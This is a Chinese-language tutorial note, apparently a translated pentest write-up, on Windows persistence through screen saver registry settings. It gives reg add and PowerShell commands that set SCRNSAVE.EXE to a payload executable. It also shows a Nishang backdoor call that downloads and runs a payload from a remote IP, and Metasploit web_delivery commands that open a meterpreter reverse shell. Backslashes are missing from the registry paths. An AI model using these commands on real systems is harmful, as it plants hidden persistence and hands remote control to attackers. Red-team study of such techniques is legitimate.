Window許可權維持(五):螢幕保護程式
- 2019 年 11 月 14 日
- 筆記
螢幕保護是Windows功能的一部分,使用戶可以在一段時間不活動後放置螢幕消息或圖形動畫。眾所周知,Windows的此功能被威脅參與者濫用為持久性方法。這是因為螢幕保護程式是具有.scr文件擴展名的可執行文件,並通過scrnsave.scr實用程式執行。
螢幕保護程式設置存儲在註冊表中,從令人反感的角度來看,最有價值的值是:
HKEY_CURRENT_USERControl PanelDesktopSCRNSAVE.EXE HKEY_CURRENT_USERControl PanelDesktopScreenSaveActive HKEY_CURRENT_USERControl PanelDesktopScreenSaverIsSecure HKEY_CURRENT_USERControl PanelDesktopScreenSaveTimeOut

可以通過命令提示符或從PowerShell控制台修改或添加註冊表項。由於.scr文件本質上是可執行文件,因此兩個擴展名都可以用於後門植入。
reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:tmppentestlab.exe reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:tmppentestlab.scr New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.exe' New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.scr'

一旦機器不活動時間段過去,將執行任意有效載荷,並且將再次建立命令和控制的通訊。

Nishang框架包含一個PowerShell腳本,該腳本也可以執行此攻擊,但與上述方法相比,它需要管理級別的特權,因為它在本地電腦中使用註冊表項來存儲將執行遠程託管有效負載的PowerShell命令。這種技術的好處是它不會接觸磁碟。
Import-Module .Add-ScrnSaveBackdoor.ps1 Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO

在這種情況下,可以使用Metasploit Web交付模組生成並託管PowerShell負載。一旦用戶會話變為空閑,螢幕保護程式將執行PowerShell負載,然後將打開一個meterpreter會話。
use exploit/multi/script/web_delivery set payload windows/x64/meterpreter/reverse_tcp set LHOST IP_Address set target 2exploit

利用螢幕保護程式的持久性技術的問題在於,當用戶返回並且系統未處於空閑模式時,會話將中斷。但是,紅隊可以在用戶不在時執行其操作。如果螢幕保護程式被組策略禁用,則該技術不能用於持久性。